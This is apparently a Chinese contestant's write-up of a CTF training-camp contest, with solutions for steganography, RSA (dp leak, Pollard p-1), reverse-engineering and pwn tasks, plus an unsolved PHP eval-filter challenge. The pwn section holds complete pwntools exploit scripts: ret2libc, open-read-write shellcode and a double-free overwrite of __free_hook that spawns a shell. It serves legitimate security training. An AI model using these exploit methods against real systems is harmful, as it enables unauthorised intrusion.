9号下午(三小时)结束的,第四届山石CTF训练营结营(招新)赛

Misc

签到

公众号
ayyctf{W3lc0me_CTFers_7hIs_1s_yOur_fI4g}

play4fun

二进制8位一组>base64
ayyctf{c0de_1s_funnn!!!}

dog

明显是宽高不对,根据CRC值修复,直接利用自动化工具(懒了)
python Deformed-Image-Restorer.py -i dog.png
自动修复

timestamp


bandzip直接打开,对应flagayyctf,时间正好对上了,直接提

s = [97, 121, 121, 99, 116, 102, 123, 52, 49, 101, 49,
45, 98, 101, 99, 54, 45, 101, 102, 97, 49, 57, 125]
for i in s:
print(chr(i), end='')

ayyctf{41e1-bec6-efa19}
看见公众号说给的那个txt文件是snow隐写,然后拿到压缩包的密码
其实也不用这么复杂吧,反正是看的时间不是看内容(bushi)

Crypto

babyrsa

https://tover.xyz/p/2024-HSCTF-babyDP/
e比较大的dp泄露

# sage
c= 26428833089108619112543401377941163419250979664642943265508299590822837869637933032370723949505865732807509403008980001111126916951783370112684210389785537281772283550671588624722308805725690672754930080353732780773520348162269222216066784929770887093491417457520261709140762293279009605346348694646769053808
dp= 2908765611205924273147522425659082857753146913792876137567837302097103761504536876761719367145583429581937629102185312721298454071991277772268892326268461
e= 678204201444457
n= 91945882884578821743319552426161584716831335933352763790164193549305798844715147629985058062431350555610497226792134383366977843250763493601486535786929199048851645987081994100801330744528991317430039189841420249167955558610383082595817607430148007041336708502202187175595618185677867947851913024096633429531

PR.<x> = PolynomialRing(Zmod(n))
f = e * dp + x - 1
f = f.monic()
roots = f.small_roots(X=e, beta=0.47)
assert roots

k = Integer(roots[0])
assert (e * dp + k - 1) % k == 0

p = (e * dp + k - 1) // k
assert n % p == 0
q = n // p

phi = (p-1) * (q-1)
d = Integer(e).inverse_mod(phi)
m = Integer(pow(c, d, n))
flag = bytes.fromhex(m.hex())
print(flag.decode())

ayyctf{ae172204619343a9aa7299e2bf892c33}
官方wp,写了还能构造费马
edp1(mod p1)e*dp\equiv 1(mod\ p-1)
根据费马小定理,p2edp2(mod n)根据费马小定理,p|2^{e*dp}-2(mod\ n)
p=gcd(pow(2,e*dp,n)-2,n)
m=pow(c,dp,p)
有一篇博客总结
https://www.cnblogs.com/vconlln/p/17066500.html

smoothrsa

p-1光滑

from Crypto.Util.number import *
n = 16143891519325923809125920344928514269138384879479480348218438571346662144379115683548750068403993234450824801420419870311176186484932569155386430863683900901104669631671988093057211069724265948322314298654217579055497379419239434106030837145175228585016734660480802013831487185568073280807156405889325966288603171493964848844741901669659100451279444344651574654733676775760760320950729248028578341852773569301079091687792672215882759551396673594127955018647904673235840743070237662636226784839132962074000225879468256396069223592010455669530487863636835912184140723019800663486485296917934708485512835085782806194033
c1 = 7112350868869829886840551701814087530489677635347746657905748394294619089476549048862303253782011712993636879585666230112801521440247553836222895212157883766872087311098328895668535021306297865535247676174440796636240521507804445271883177178276269753038022175319279139814227579107843292613640483047848301767872075006972539675997144911848868579204983238763352529222303794792917196197318078616989351341395741336594865835347806914451305264933301475646040702008585352942224702361581715676068598608847594223565675267814635160303443678278930667710713779813686094242364706376241680419108778090968231090719482128196365646709
e = 0x10001


def Poolard_p_1(N):
a, n = 2, 2
while True:
a = pow(a, n, N)
res = GCD(a-1, N)
if res != 1 and res != N:
q = N // res
return res, q
n += 1


p, q = Poolard_p_1(n)
d = inverse(e, (p-1)*(q-1))
flag1 = pow(c1, d, n)
print(long_to_bytes(flag1))
primes = [p, q]
print(primes)

分解到了n,直接离散对数CRT,加快运行速度

# sage
from sage.all import *
from Crypto.Util.number import *

n = 16143891519325923809125920344928514269138384879479480348218438571346662144379115683548750068403993234450824801420419870311176186484932569155386430863683900901104669631671988093057211069724265948322314298654217579055497379419239434106030837145175228585016734660480802013831487185568073280807156405889325966288603171493964848844741901669659100451279444344651574654733676775760760320950729248028578341852773569301079091687792672215882759551396673594127955018647904673235840743070237662636226784839132962074000225879468256396069223592010455669530487863636835912184140723019800663486485296917934708485512835085782806194033
c2 = 13689952379959960785304653155381940831780784650984698843926738621427378921833360289314355705302342044688760728162022474533152544761004181618957036492251709018395686987828651818850951561574227430953895649362625339864964397957764736341029879184957677963956860712326659340433931058813393528095118566800223063366656201538077019721396867864560071614369494048091587062822233796535861147829307670568567176841876056775716141185683889605930759561685694343612452944504977066043844072039190540560407510559996101505735799561237961891908211816484079994007043261444697677696068383565594469701736806846595573441175347568641942415173
e = 0x10001

primes = [109268750583210492912661319721515389321646957381678101188499321864013625365519396522869980584963944578652262909020200147281565838130301430582501248513401589422714205531526772647864509500814555502679061916959124401208489789418598136263500225389697644750645159566942457638611268993601752065879341124894542990799,147744816639337381196428076346596686737072295580622582168516622486360559872553656509736189196912944607579571587207736696005514882002468398928242401016594778431756925333772439024534898247722260489175348340949971510835707006885734749277554884291959890878892310446954970440828425252231916139773617158390810789567]
dlogs = []
pri = []

for fac in primes:
R = GF(fac)
dlog = R(c2).log(R(e))
dlogs.append(dlog)
pri.append(fac - 1)

flag2 = crt(list(dlogs), list(pri))
print(long_to_bytes(flag2).decode())

ayyctf{015f0d60fab48cac3408d5a83a64010b}

Pwn

ezstack

直接ret2libc

from pwn import *
from LibcSearcher import *
from ctypes import *
from struct import pack
import numpy as np
import base64
from bisect import *

# p = process(["/mnt/d/desktop/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/ld-linux-x86-64.so.2", "./pwn"],
# env={"LD_PRELOAD":"./libc.so.6"})
# p = process(['./libc.so','./pwn'])
# p = process('./pwn')
p=remote('223.112.39.132',52423)
context(arch='amd64', os='linux', log_level='debug')
# context.terminal = ['tmux','splitw','-h']
context.terminal = ['wt.exe', '-w', "0", "sp", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "bash", "-c"]
# context.terminal = ['wt.exe', '-w', "0", "sp", "-d", ".", "wsl.exe", "-d", "Ubuntu-20.04", "bash", "-c"]
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
# ld = ELF('./ld-2.31.so')

def lg(buf):
global heap_base
global libc_base
global target
global temp
global stack
global leak
log.success(f'\033[33m{buf}:{eval(buf):#x}\033[0m')

p.recvuntil('input:')
payload = b'a'*0x18
payload += p64(0x0000000000401273)
payload += p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.symbols['main'])
p.send(payload)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.symbols['puts']
p.recvuntil('input:')
lg('libc_base')
payload = b'a'*0x18
payload += p64(0x000000000040101a)+p64(0x0000000000401273)
payload += p64(libc_base + next(libc.search(b'/bin/sh'))) + p64(libc_base+libc.symbols['system'])
p.sendline(payload)

p.interactive()

sandbox

直接orw

from pwn import *
from LibcSearcher import *
from ctypes import *
from struct import pack
import numpy as np
import base64
from bisect import *

# p = process(["/mnt/d/desktop/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/ld-linux-x86-64.so.2", "./pwn"],
# env={"LD_PRELOAD":"./libc.so.6"})
# p = process(['./libc.so','./pwn'])
# p = process('./pwn')
p=remote('223.112.39.132',47601)
context(arch='amd64', os='linux', log_level='debug')
# context.terminal = ['tmux','splitw','-h']
context.terminal = ['wt.exe', '-w', "0", "sp", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "bash", "-c"]
# context.terminal = ['wt.exe', '-w', "0", "sp", "-d", ".", "wsl.exe", "-d", "Ubuntu-20.04", "bash", "-c"]
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
# ld = ELF('./ld-2.31.so')

def lg(buf):
global heap_base
global libc_base
global target
global temp
global stack
global leak
log.success(f'\033[33m{buf}:{eval(buf):#x}\033[0m')

p.recvuntil('0x')
elf_base = int(p.recvuntil('\n',drop=True),16) -5490
lg('elf_base')
p.recvuntil('> ')
p.sendline(str(0x200))
p.recvuntil('Your input :')
# payload = """int main(){
# syscall(59,"/bin/sh",0,0);
# }
# """
payload = asm( # shellcode start
f"""
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
""")
p.send(payload)

p.interactive()

flower

直接doube free,打free hook

from pwn import *
from LibcSearcher import *
from ctypes import *
from struct import pack
import numpy as np
import base64
from bisect import *

# p = process(["/mnt/d/desktop/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/ld-linux-x86-64.so.2", "./pwn"],
# env={"LD_PRELOAD":"./libc.so.6"})
# p = process(['./libc.so','./pwn'])
# p = process('./pwn')
p=remote('223.112.39.132',47295)
context(arch='amd64', os='linux', log_level='debug')
# context.terminal = ['tmux','splitw','-h']
context.terminal = ['wt.exe', '-w', "0", "sp", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "bash", "-c"]
# context.terminal = ['wt.exe', '-w', "0", "sp", "-d", ".", "wsl.exe", "-d", "Ubuntu-20.04", "bash", "-c"]
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
# ld = ELF('./ld-2.31.so')

def lg(buf):
global heap_base
global libc_base
global target
global temp
global stack
global leak
log.success(f'\033[33m{buf}:{eval(buf):#x}\033[0m')

def meau(index):
p.recvuntil('Choice: ')
p.sendline(str(index))

def add1(content):
meau(1)
p.recvuntil('Enter flower ID:')
p.send(content)

def add2(content):
meau(2)
p.recvuntil('Enter flower ID:')
p.send(content)

def show(index):
meau(4)
p.recvuntil("Enter the index of the flower to show")
p.sendline(str(index))

def free(index):
meau(5)
p.recvuntil('Enter the index of the flower to sell:')
p.sendline(str(index))

add2(b'a')
add2(b'a')
free(0)
free(1)
show(1)
p.recvuntil('Item 1ID: ')
heap_base = u64(p.recv(6).ljust(8,b"\x00"))-0x260
lg("heap_base")

add2(b'a')
add2(b'a') # 3

for i in range(8): # 4 - 11
add1(b'a')
add2(b'a') # 12

for i in range(4,12):
free(i)

show(11)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-3886240
lg('libc_base')

for i in range(8): # 13 - 20
add1(b'/bin/sh\x00')

add2(b'a')
add2(b'a')
# free(21)
free(22)
free(21)
free(21)
add2(p64(libc_base+libc.symbols['__free_hook']))

add2(p64(libc_base+libc.symbols['__free_hook']))
add2(p64(libc_base+libc.symbols['system']))
# gdb.attach(p)
free(17)

p.interactive()

Re

xor2

cipher = [
0x18, 0x00, 0x1A, 0x17, 0x12, 0x1D, 0x1A, 0x05, 0x0A, 0x56, 0x09, 0x03, 0x5C, 0x0F, 0x12, 0x17,
0x5D, 0x09, 0x02, 0x03, 0x5B, 0x0B, 0x05, 0x5D, 0x08, 0x50, 0x05, 0x5D, 0x08, 0x03, 0x53, 0x13,
0x0F, 0x7D
]

def dec(data):
for i in range(len(data) - 1, 0, -1):
data[i - 1] ^= data[i]
return data

decrypted = dec(cipher)
for i in range(len(cipher)):
print(chr(cipher[i]),end = '')

ayyctf{adn812nasd9021jad91ad912ar}

Web

忘了是哪题()

<?php
error_reporting(0);
highlight_file(__FILE__);

function count_string_char($str) {
$arr = [];
foreach (str_split($str) as $value) {
if (!in_array($value, $arr)) {
array_push($arr, $value);
}
}
return sizeof($arr);
}

if (isset($_POST['cmd']) && is_string($_POST['cmd'])) {
$cmd = $_POST['cmd'];
$c = count_string_char($cmd);
if ($c > 13) {
die("$c too long");
}
if ( preg_match('/[a-z0-9]|<|>|\\?|\\[|\\]|\\*|@|\\||\\^|~|&|\s/i', $cmd) ) {
die("nonono");
}
eval( "print($cmd);" );
} else {
exit();
}

还没来得及打,先暂时挂这吧